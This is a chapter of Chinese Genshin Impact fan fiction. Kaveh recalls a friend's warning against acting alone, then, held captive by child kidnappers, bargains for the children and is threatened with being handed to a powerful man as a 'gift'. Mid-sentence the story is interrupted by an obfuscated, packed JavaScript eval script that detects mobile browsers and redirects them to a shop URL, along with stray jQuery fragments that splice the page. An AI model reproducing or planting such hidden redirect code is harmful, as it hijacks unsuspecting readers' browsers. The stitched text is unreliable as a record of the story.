20.抉择
作品:《[原神同人]留燕》 那是发生在很久之前的事。
“好烦啊你!”卡维相当抓狂地停下脚步转过身去怒瞪着跟在他身后的某人,“我都说了不用你跟着我,我自己一个人能搞定的!”
彼时的他与那人还并不能称得上是熟悉,不过是刚认识不久的朋友——真要说的话大概是比完全陌生的人更熟悉一点的程度。他实在是不知道该怎么和这样毫无生气的人相处,在这人面前连带着他的情绪都会不由自主地放大些,就比如明明只是想针对某些问题进行沟通,告诉对方自己只是要像平时一样独自去做些力所能及的能帮助到其他人的事,看到那张看不出丝毫情绪与想法的面孔时却总难免生出些无名火。见他这般抗议,对方冷若冰霜的眉眼并未松动分毫,淡淡道:“我明白。我并不打算过多干预你的行动。”
他愈发看不明白这人心中究竟在想些什么,只赌气道:“可你分明就是还有话想说,要是对我打算去做的事有意见就给我明明白白地讲出来!”随后静默片刻见并未等到对方开口而着实有些恼了,心中登时被对方一定是觉得自己要去做的事很蠢这样负面的想法占据了头脑,刚准备甩下一句“不开口算了,以后你再想说我也不听”便要扬长而去之时,他第一次听见了从身后传来的对方语速稍缓却并未带着丝毫犹疑的声音。
“你很容易受情绪影响。”那人说的话听上去不咸不淡,既不像是在批判也不像是在挖苦,“刚才我也说过,我并不打算过多干预你的行动。我所能做的只是在你情绪用事时站出来给予你恢复冷静的时间,好让一时的冲动不会干扰到你接下来的判断。”语毕便先于卡维走了几步,发觉卡维未跟上自己,便又略有些疑惑地转过身去。
“你要去的不是这个方向吗?还是说你还需要准备些什么东西?”他问。卡维竟一时什么也说不出来。
“搞什么……原来他并不是觉得我想做的事很傻啊。”
不知为何,确认过这件事后他第一反应便是松了口气。随后像是为了掩饰自己先前抓狂发牢骚的失态,他稍有些窘迫地轻咳一声,清了清嗓子道:“方向没错啦。我也没什么要准备的东西。”说着便快步小跑跟上那人。
“你确定不会对我等会要做的事指手画脚?”他有些半信半疑,换作是别人,大抵这回便要说他这一个个地去帮那些需要帮助的人是自讨苦吃云云,于是便又缠着对方追问。
那人并未看他,只顾大步向前走着,仍是先前不咸不淡的口吻:“我可以答应你不干涉你的行动。只是一但我发现了任何与你交谈的人有与口头上所说的不符的可疑的地方,我会中断你们的谈话并就此提问。”明明是正儿八经地说着需要注意的事,卡维的注意力却飞到了觉得他板着脸口吻严肃的模样有点有趣上,没忍住轻笑出声,只觉得他有些小题大做。他实在是想不到那些不幸的人会有何图谋——他也不愿去想这种可能。
“你也太认真了。不用这么担心也没事的啦。”他口气轻松地拍拍那人的肩头,却发现对方并未因自己的话而有任何一丝的表情的变化。那双暗紫色的眼睛仍似枯井中的死水无从见底。
“情绪对我来说是无法改变我的判断的。但你则不同。”他说。
“你会因对方的话语中所包含的情感而产生判断上的偏差,同时也极其容易在某些危险的场合产生出必须要自己挺身而出才能解决危机的、由情绪的波动所导致的使命感。”
“我明白你对身陷囹圄之人无法做到袖手旁观。我也不会对你在这方面的行动品头论足。”
——我只是希望你记得永远不要独自一人去尝试解决问题。我会在任何时候尽我所能,令你不至于陷入感情用事而致的险境。
他如是说。
—————————————
卡维并不清楚自己究竟失去意识有多长时间。当他恢复知觉的时候,恍惚间依稀想起有人曾经在过去对自己叮嘱过叫他不要意气用事。他想动,却发现自己的罩袍已经被扯下扔在一旁,双手的手腕被牢牢地用麻绳反捆在椅背上动弹不得。他心中咯噔一下,明白自己已是落入虎口插翅难飞。只懊恼怎就偏生叫某人一语成谶——所以才会在那时特地叮嘱他不要独自面对问题,想来大抵是自那时便预见了他会有如今这般光景。饶是再如何不情愿也不禁叹一句对方识人了得。或许他比卡维自己还要更了解卡维也说不定。
“那时如果听他的话,将事情的原委都原原本本告诉他,是不是会比现在更好呢?”
他叹了口气,在心中这样想着,终究是不得不认自己行事太过鲁莽。然而已经发生的事再如何后悔也无济于事。比起懊恼自己已经做过的决定,不如着眼于当下寻找打开局面的办法。想到这他便环顾起了四周,打算从周围的环境寻找些有用的线索。可关押着他的似乎只是一间平平无奇的旧厂房,除了锈迹斑斑的金属货架之外一无所有,甚至没有窗户。这样也便无从判断时间,更不清楚自己是否还在昏迷前所到访的位置。他开始有些不安,却又在此时想起那人曾说过的话而极力保持镇静。
卡维深吸一口气,强迫自己稳住声线,朝着空荡的厂房扬声道:“既然把我带到这里,总该有人来谈谈条件吧?”
脚步声从阴影处传来。纳赛尔踱步而出,脸上带着戏谑的狞笑:“醒了?妙论派的学者大人。怎么,终于想起要求饶了?”
“求饶若能解决问题,我倒是不介意说上几句。”卡维这才想起自己罩袍下因出门匆忙连学生长袍都没来得及换,想必这妙论派的身份也是从衣服上叫人看破的。他扯出一个勉强的笑,后背的冷汗却已浸湿衬衫,“但你我都很清楚,那毫无意义。不如谈谈实际的一一你们留我性命,总不会是为了听几句好话。”
纳赛尔挑眉,似乎对他的镇定有些意外:“哦?那你觉得是为了什么?”
“信息。”卡维的目光扫过纳赛尔腰间锃亮的弯刀,又落回他脸上,“你们在酒馆的对话我听到了一些…‘巡林官加了岗哨’,‘三十人团查得紧’。你们需要一个熟悉须弥城建筑布局,尤其是…那些不为人知的小路和废弃通道的人,不是吗?”
他顿了顿,感受到手腕上绳索的粗糙摩擦,继续道:“恰巧,我是学建筑设计的妙论派学生。对奥摩斯港的仓库区改建历史颇有研究。比如七号仓库,看似只有前后两门,但东侧外墙因去年雨季滑坡有过加固,那里的通风管道…足以让一个孩子爬出去。”
纳赛尔的眼神微变,脸上的戏谑收敛了几分。
卡维心知自己赌对了方向,语气更加沉稳:“我可以帮你们规划一条更安全的撤离路线,甚至指出几条连风纪官都未必清楚的监控盲区。作为交换——”他努力动了动被缚的双手,尽管这个动作让他疼得蹙眉,“放走那些孩子。他们哭哭啼啼,行动缓慢,本就是累赘。用我的专业,换你们的效率和安全,很公平。”
“我凭什么信你?”纳赛尔逼近一步,居高临下地盯着他,“你们这些文化人最擅长的就是纸上谈兵。我怎么知道你是不是在骗我?”
“就凭我现在在你们手里。”卡维毫不退缩地迎上他的目光,声音虽轻却带着不容置疑的分量,“若我画出的路线有半分问题,你们随时可以回来找我算账。但若是继续带着那群孩子…每多耽搁一刻,被巡林官和三十人团发现的风险就多一分。先生,您是求财,而非求死,对吧?”
厂房内陷入短暂的沉寂,只有远处海浪拍岸的闷响隐约传来。纳赛尔阴鸷的目光在卡维脸上逡巡,似乎在衡量他话语中的虚实。卡维维持着表面的平静,心脏却在胸腔里狂跳,他知道,这场豪赌才刚刚开始。而他的筹码,除了那点专业知识就只剩下对方对风险的本能忌惮。
“——脑子还真转得快。比起那些只会死读书的呆子倒是强百倍。”
一个从未听过的第三人的声音冷不丁插入了这段对话,那口吻像是讥讽又像是戏谑的调侃。壮汉一见来者立刻换了一副态度,恭恭敬敬道:“头儿,这便是我们弟兄在货仓捉到的老鼠。您看该怎么处置?”
来人约莫三四十岁,却不是一身佣兵打扮,倒像个有头脸的常出没于社交场合的,标志性的特征便是上唇有两撇卷起的小胡子,面相生得有些尖嘴猴腮。他上上下下仔仔细细打量了许多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750488|188760||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遍卡维的模样,卡维只觉得从没见过这么刺人的视线,令他有些不太舒服。半晌后才听见小胡子道:“这件事我自有定夺。你接着去守好仓库,务必保证交易万无一失。”纳赛尔便应声去了,于是厂房里只剩下小胡子与卡维两人。
“你刚才说的那些我都听到了。”小胡子眯起眼,捏着自己的胡子似是在哂笑,“只可惜你虚张声势做得不太到位,方才那借口一看便知是临时想的。我可是清楚得很妙论派里的建筑设计学习方向涉及到港口的部分并不算多。况且仓库区的改建历史并未全部收录进教育体系,有几个历史上重要的时间节点发生过动乱,设计图纸与多版草稿全部纷失不知所踪。你又何来的口气谈能凭自己那些并不全面的学识找几条不易被发现的通道?”
卡维闻言心头一沉,至此已知那急中生智想出的交易筹码已经失效。只尽力维持着尽可能镇定的交流状态。
“……这般看来,先生竟是比我这个学生更熟悉教令院里所学为何了。真是不可以貌取人啊。”
他扯出一个微笑。小胡子哼了一声,道:“那是自然。常和我做交易的可就有你们妙论派的某位导师。这点知识同他打交道一来二去还是能听得几分的。”语气是极不屑而傲慢的口吻。
卡维一愣,片刻后才像是要确认真伪那般开口追问。
“您说……教令院里也有常和您做交易的人?那些交易该不会是——”
他没有再说下去。小胡子看向他的眼神是轻蔑而带着些怜悯的。那种眼神他曾见过。那是像过去那些评价他多管闲事自找苦吃的那些人眼中如出一辙的对愚蠢的怜悯。
“都到这个份上了,还不肯正视已经目击到的现实么?该说你是涉世未深还是天真得过头呢?”
小胡子装模作样地连连叹气。
卡维下意识屏住了呼吸。那种轻蔑的怜悯像是刀锋从皮肉浅浅划过,却足以令他浑身发冷。
小胡子见他不语,脸上的笑意愈发显得阴森:“你们这些从学院出来的小年轻,总以为知识能改变一切、能为所有弱者带来希望。可现实啊……”他抬手拍拍卡维的脸颊,动作轻飘飘却带着羞辱的意味,“比你想的肮脏得多。”
卡维被迫偏了偏头,呼吸间能闻到对方身上刺鼻的冷香。他努力维持住语气的平稳:“原来如此……您是在告诉我,我连被利用的价值都没有吗?”
“也不能这么说。”小胡子的语调轻快得近乎愉悦,“你确实撒谎撒得一塌糊涂,但长得倒是真挺不错的。”
卡维心头一紧。
小胡子眯着眼审视着他,他伸手掐住卡维的下巴,就像在检视一件将被送去权贵手中的精巧玩物:“你这副皮相生得这般漂亮,放在教令院里死读书太可惜,可比那些又穷又脏的孩子值钱多了。更妙的是——干干净净的,一看就没见过什么世面。正好有位大人最近烦心,想要点新鲜的东西消遣。你嘛……倒是个合适的礼物。”
卡维的血一下凉到了最深处。他几乎能听到自己心跳声骤然急促,仿佛要冲破胸腔。
——他知道接下来会是什么。
小胡子像欣赏猎物的挣扎般慢悠悠地继续:“当然,把礼物送出去,总得包装得像点样子。”
他从身后的木箱里取出一团轻薄到几乎透明的布料,随手丢在卡维腿上。那布料落在卡维膝头的一瞬间,他像被烫到一般僵住了。
“穿上它。”小胡子语气温柔得令人作呕,“你可是要被带到宴席上的。”
卡维闭了闭眼,拳头微微攥紧。他知道自己现在没有任何力量反抗,甚至连拒绝都没有资格。
“……只要我答应的话,您就会保证放了那些孩子吗?”
他听见自己的声音有些颤抖。小胡子闻言大笑:“有意思。你还是我见过的第一个愿意用自己换素未谋面的人一条生路的。”随后便满口答应卡维的要求。可就在卡维艰难逼自己点头的一瞬间,他忽然意识到——那个人一定不会允许这样的局面发生,但现如今他已别无退路。他必须在对方改变主意前做出抉择。
(第十六章抉择完)

